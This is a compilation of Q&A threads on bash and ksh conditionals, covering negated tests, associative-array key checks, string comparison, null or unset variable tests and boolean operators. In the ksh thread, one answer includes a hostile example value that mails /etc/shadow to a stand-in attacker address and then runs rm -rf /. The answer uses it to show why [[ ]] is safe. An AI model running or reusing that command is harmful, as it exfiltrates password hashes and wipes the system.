Is there no unless in shell script? - bash

I tried to do the opposite of if in shell to only do something if a value in a hash doesn't exist. I've learned to create a hash in bash from here:Associative arrays in Shell scripts
declare -A myhash
I declared a simple hash:
myhash[$key]="1"
and
[ ${myhash[$key]+abc} ]
to see if myhash[$key] exist or not from here: Easiest way to check for an index or a key in an array?
I also learned to add ! in front of an expression to do the opposite in if clause from here:How to make "if not true condition"?
But the following expression
if ! [ ${myhash[$key]+abc} ]; then
echo $key
fi
doesn't work and no information is printed. There is no error message.
I tried this:
[ ${myhash[$key]+abc} ] && echo $key
And got the error message:
abc: command not found
Can anyone tell me how to make it work?

First, this
[ ${myhash[$key]+abc} ]
will test if the result of the parameter expansion is empty or not. Either ${myhash[$key]} exists and expands to a string (which itself may or may not be empty), or it does not and it expands to the string "abc". Assuming you don't set myhash[$key]="", the expansion always produces a non-empty string, and so the command succeeds. As a result,
! [ ${myhash[$key]+abc} ] would always fail.
Assuming "abc" is not a valid entry in myhash, you need to actually check if the parameter expands to an actual value, or "abc" for unset keys:
if [[ ${myhash[$key]+abc} == abc ]]; then
echo "$key does not exist in myhash"
else
echo "myhash[$key]=${myhash[$key]}"
fi

The reason nothing is printed is because you check if the value is unset after setting it.
Here's what you're doing:
#!/bin/bash
key=foo
declare -A myhash # create associative array
myhash[$key]="1" # set the value
if ! [ ${myhash[$key]+abc} ]; then # check if value is not set
echo $key # if so, print key
fi
And now you're asking "Why isn't the unset check triggering when the value is set?"
If you instead wanted to check if the key is set, you should not have inverted the existence check using !.
As for [ ${myhash[$key]+abc} ] && echo $key giving abc: command not found, I can't explain that. It would never normally happen.
That is what you would have seen if you did ${myhash[$key]+abc} && echo $key though. Are you sure you're correctly presenting the actual examples you ran, and the actual results you got

Easiest way to check for an index or a key in an array? shows how to check if it exists with [ ${array[key]+abc} ].
If it does, the command exits successfully, so the portion after the && gets executed (echo "exists")
You want to check if it doesn't exist. So you want your command to be executed if the [..] portion exits unsuccessfully. So use || instead of &&:
[ ${myhash[$key]+abc} ] || echo "does not exist"
&&: carry on with next command only if first succeeded
||: only carry on with next command if first did not succeed

Related

Bash Script with if, elif, else

Okay so this is an assignment so I will not put in the exact script here but I am really desperate at this point because I cannot figure something as basic as if's. So I am basically checking if the two arguments that are written in the command line are appropriate (user needs to type it correctly) or it will echo a specific error message. However, when I put in a command with 100% correct arguments, I get the error echo message from the first conditional ALWAYS (even if I switch around the conditional statements). It seems that the script just runs the first echo and stops no matter what. Please help and I understand it might be hard since my code is more of a skeleton.
if [ ... ]; then
echo "blah"
elif [ ... ]; then
echo "blah2"
else for file; do
#change file to the 1st argument
done
fi
I obviously need the last else to happen in order for my script to actually serve its intended purpose. However, my if-fy problem is getting in the way. The if and elif need to return false in order for the script to run for appropriate arguments. The if and elif check to see if the person typed in the command line correctly.
elif mean else-if. So it only will only be checked if the first statement returns false. So if you want to check if both are correct do.
if [ ... ] then
...
fi
if [ ... ] then
...
fi
When you care about checking both the first and second command line arguments for a single condition (i.e. they must both meet a set of criteria for the condition to be true), then you will need a compound test construct like:
if [ "$1" = somestring -a "$2" = somethingelse ]; then
do whatever
fi
which can also be written
if [ "$1" = somestring ] && [ "$2" = somethingelse ]; then
...
Note: the [ .... -a .... ] syntax is still supported, but it is recommended to use the [ .... ] && [ .... ] syntax for new development.
You can also vary the way they are tested (either true/false) by using -o for an OR condition or || in the second form. You can further vary your test using different test expressions (i.e. =, !=, -gt, etc..)

Bash if statement not working properly

I have a bash statement to test a command line argument. If the argument passed to the script is "clean", then the script removes all .o files. Otherwise, it builds a program. However, not matter what is passed (if anything), the script still thinks that the argument "clean" is being passed.
#!/bin/bash
if test "`whoami`" != "root" ; then
echo "You must be logged in as root to build (for loopback mounting)"
echo "Enter 'su' or 'sudo bash' to switch to root"
exit
fi
ARG=$1
if [ $ARG == "clean" ] ; then
echo ">>> cleaning up object files..."
rm -r src/*.o
echo ">>> done. "
echo ">>> Press enter to continue..."
read
else
#Builds program
fi
Answer for first version of question
In bash, spaces are important. Replace:
[ $ARG=="clean" ]
With:
[ "$ARG" = "clean" ]
bash interprets $ARG=="clean" as a single-string. If a single-string is placed in a test statement, test returns false if the string is empty and true if it is non-empty. $ARG=="clean" will never be empty. Thus [ $ARG=="clean" ] will always return true.
Second, $ARG should be quoted. Otherwise, if it is empty, then the statement reduces to `[ == "clean" ] which is an error ("unary operator expected").
Third, it is best practices to use lower or mixed case for your local variables. The system uses upper-case shell variables and you don't want to accidentally overwrite one of them.
Lastly, with [...], the POSIX operator for equal, in the string sense, is =. Bash will accept either = or == but = is more portable.
first:
Every string must double quoted or will error absent argument.
second:
for string used only = or != not a == and also -n and -z commands.
third:
you may combine conditions by -a and -o commands but newer used enclose in () yous conditions so not to get error. Logical operators acts through operators presidence, fist calculate -o operator and then -a! For example
[ -n "$1" -a $1 = '-h' -o $1 = '--help' ] && { usage; exit 0; }
will work when passed to script at least 1 argument and is -h or --help. All spaces must be!!! Bush do short cycle logical evaluations. So don't trouble for case when $1 don't exist in second condition because of result of this expression is determined in first one. next don't calculate in this case. But if your argument may contains space symbols you need it double quote. You must do it also in command line too! Else you get error in script or split your arguments in two or more parts.
Operator == isn't used in test. For numbers(not siring) used -eq or -ne commands. See man 1 test for full descriptions. test EXPRESSION... equivalent of [ EXPRESSIONS... ]. More shirt form of test.

Bash If statement null

Looking for the correct syntax that looks at a bash variable and determines if its null, if it is then do ... otherwise continue on.
Perhaps something like if [ $lastUpdated = null?; then... else...
Just test if the variable is empty:
if [ -z "$lastUpdated" ]; then
# not set
fi
Expanding on #chepner's comments, here's how you could test for an unset (as opposed to set to a possibly empty value) variable:
if [ -z "${lastUpdated+set}" ]; then
The ${variable+word} syntax gives an empty string if $variable is unset, and the string "word" if it's set:
$ fullvar=somestring
$ emptyvar=
$ echo "<${fullvar+set}>"
<set>
$ echo "<${emptyvar+set}>"
<set>
$ echo "<${unsetvar+set}>"
<>
To sum it all up: There is no real null value in bash. Chepner's comment is on point:
The bash documentation uses null as a synonym for the empty string.
Therefore, checking for null would mean checking for an empty string:
if [ "${lastUpdated}" = "" ]; then
# $lastUpdated is an empty string
fi
If what you really want to do is check for an unset or empty (i.e. "", i.e. 'null') variable, use trojanfoe's approach:
if [ -z "$lastUpdated" ]; then
# $lastUpdated could be "" or not set at all
fi
If you want to check weather the variable is unset, but are fine with empty strings, Gordon Davisson's answer is the way to go:
if [ -z ${lastUpdated+set} ]; then
# $lastUpdated is not set
fi
(Parameter Expansion is what's going here)

Operations on boolean variables

In this question it has been shown how to use neat boolean variables in bash. Is there a way of performing logic operations with such variables? E.g. how to get this:
var1=true
var2=false
# ...do something interesting...
if ! $var1 -a $var2; then <--- doesn't work correctly
echo "do sth"
fi
This does work:
if ! $var1 && $var2; then
echo "do sth"
fi
Maybe somebody can explain why -a and -o operators don't work and &&, ||, ! do?
Okay boys and girls, lesson time.
What's happening when you execute this line?
if true ; then echo 1 ; fi
What's happening here is that the if command is being executed. After that everything that happens is part of the if command.
What if does is it executes one or more commands (or rather, pipelines) and, if the return code from the last command executed was successful, it executes the commands after then until fi is reached. If the return code was not successful the then part is skipped and execution continues after fi.
if takes no switches, its behavior is not modifiable in anyway.
In the example above the command I told if to execute was true. true is not syntax or a keyword, it's just another command. Try executing it by itself:
true
It will print nothing, but it set its return code to 0 (aka "true"). You can more clearly see that it is a command by rewriting the above if statement like this:
if /bin/true ; then echo 1 ; fi
Which is entirely equivalent.
Always returning true from a test is not very useful. It is typical to use if in conjunction with the test command. test is sometimes symlinked to or otherwise known as [. On your system you probably have a /bin/[ program, but if you're using bash [ will be a builtin command. test is a more complex command than if and you can read all about it.
help [
man [
But for now let us say that test performs some tests according to the options you supply and returns with either a successful return code (0) or an unsuccessful one. This allows us to say
if [ 1 -lt 2 ] ; then echo one is less than two ; fi
But again, this is always true, so it's not very useful. It would be more useful if 1 and 2 were variables
read -p' Enter first number: ' first
read -p' Enter second number: ' second
echo first: $first
echo second: $second
if [ $first -lt $second ] ; then
echo $first is less than $second
fi
Now you can see that test is doing its job. Here we are passing test four arguments. The second argument is -lt which is a switch telling test that the first argument and third argument should be tested to see if the first argument is less than the third argument. The fourth argument does nothing but mark the end of the command; when calling test as [ the final argument must always be ].
Before the above if statement is executed the variables are evaluated. Suppose that I had entered 20 for first and 25 for second, after evaluation the script will look like this:
read -p' Enter first number: ' first
read -p' Enter second number: ' second
echo first: 20
echo second: 25
if [ 20 -lt 25 ] ; then
echo 20 is less than 25
fi
And now you can see that when test is executed it will be testing is 20 less than 25?, which is true, so if will execute the then statement.
Bringing it back to the question at hand: What's going on here?
var1=true
var2=false
if ! $var1 -a $var2 ; then
echo $var1 and $var2 are both true
fi
When the if command is evaluated it will become
if ! true -a false ; then
This is instructing if to execute true and passing the arguments -a false to the true command. Now, true doesn't take any switches or arguments, but it also will not produce an error if you supply them without need. This means that it will execute, return success and the -a false part will be ignored. The ! will reverse the success in to a failure and the then part will not be executed.
If you were to replace the above with a version calling test it would still not work as desired:
var1=true
var2=false
if ! [ $var1 -a $var2 ] ; then
echo $var1 and $var2 are both true
fi
Because the if line would be evaluated to
if ! [ true -a false ; ] then
And test would see true not as a boolean keyword, and not as a command, but as a string. Since a non-empty string is treated as "true" by test it will always return success to if, even if you had said
if ! [ false -a yourmom ] ; then
Since both are non-empty strings -a tests both as true, returns success which is reversed with ! and passed to if, which does not execute the then statement.
If you replace the test version with this version
if ! $var1 && $var2 ; then
Then it will be evaluated in to
if ! true && false ; then
And will be processed like this: if executes true which returns success; which is reversed by !; because the return code of the first command was failure the && statement short circuits and false never gets executed. Because the final command executed returned a failure, failure is passed back to if which does not execute the then clause.
I hope this is all clear.
It is perhaps worth pointing out that you can use constructs like this:
! false && true && echo 1
Which does not use if but still checks return codes, because that is what && and || are for.
There is kind of a black art to using test without making any mistakes. In general, when using bash, the newer [[ command should be used instead because it is more powerful and does away with lots of gotchas which must, for compatibility reasons, be kept in [.
Since the original poster did not supply a realistic example of what he's trying to accomplish it's hard to give any specific advice as to the best solution. Hopefully this has been sufficiently helpful that he can now figure out the correct thing to do.
You have mixed here two different syntaxes.
This will work:
if ! [ 1 -a 2 ]; then
echo "do sth"
fi
Note brackets around the expressions.
You need the test command ([ in newer syntax) to use these keys (-a, -o and so on).
But test does nut run commands itself.
If you want to check exit codes of commands you must not use test.

Checking a variable is set and value in ksh

I have a script which takes user input, the REFRESH option is optional. I need to test to see if $REFRESH exists and is equal to the string "REFRESH", if it is then run a specific block of code.
The user would execute
./export_data.sh <user> <type> [REFRESH]
If I was doing this in PHP I would simply use the isset() function, does an equivelent exist in ksh?
I have tried the following but this fails as in the 2nd test $REFRESH is not set:
if [ -n $REFRESH ] && [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
The only other way I can think to do this is a nested if but this seems messy:
if [ -n $REFRESH ]
then
if [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
Is there a better way to do this?
if [ "${REFRESH:-unset}" = "REFRESH" ]
then ...
This substitutes unset if there is no value in $REFRESH or if the value is the empty string. Either way, it is not the same as "REFRESH", so it behaves as required.
When testing variables, enclose them in double quotes; it saves angst. In fact, it would mean that you could simply write:
if [ "$REFRESH" = "REFRESH" ]
then ...
I would comment on Jonathan's reply but I'm too much of a newby around here to be trusted with such things.
Anyway, if you are trying to save yourself angst in ksh, never use the legacy Bourne shell [ ]. Instead, use [[ ]].
if [[ $REFRESH == REFRESH ]]; then
That will always evaluate the way you want it. Even if any of the following happened just before the if statement.
REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker#example.com < /etc/shadow`; sleep 5; rm -rf /`'
The thing to be careful of is the right hand side in the event that it is a variable or a string that could be evaluated for things other than just a simple string comparison. Consider these:
$ val='#(foo|REFRESH)'
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match
$
Here we see that quoting the RHS is more important than quoting the LHS when using [[ ]]. Also, this demonstrates that [[ ]] allows more powerful matches using patterns and pattern lists.
Answering to that specific question:
If I was doing this in PHP I would simply use the isset() function, does an equivalent exist in ksh?
if [ "${REFRESH:-unset}" != unset ]
By the way, in my opinion the best (because is the most simple) way to test if a variable is set or not set is:
if [ "$PIPPO" ] ; then
echo "Set"
fi
OR
if [ ! "$PIPPO" ] ; then
echo "Not Set"
fi

Resources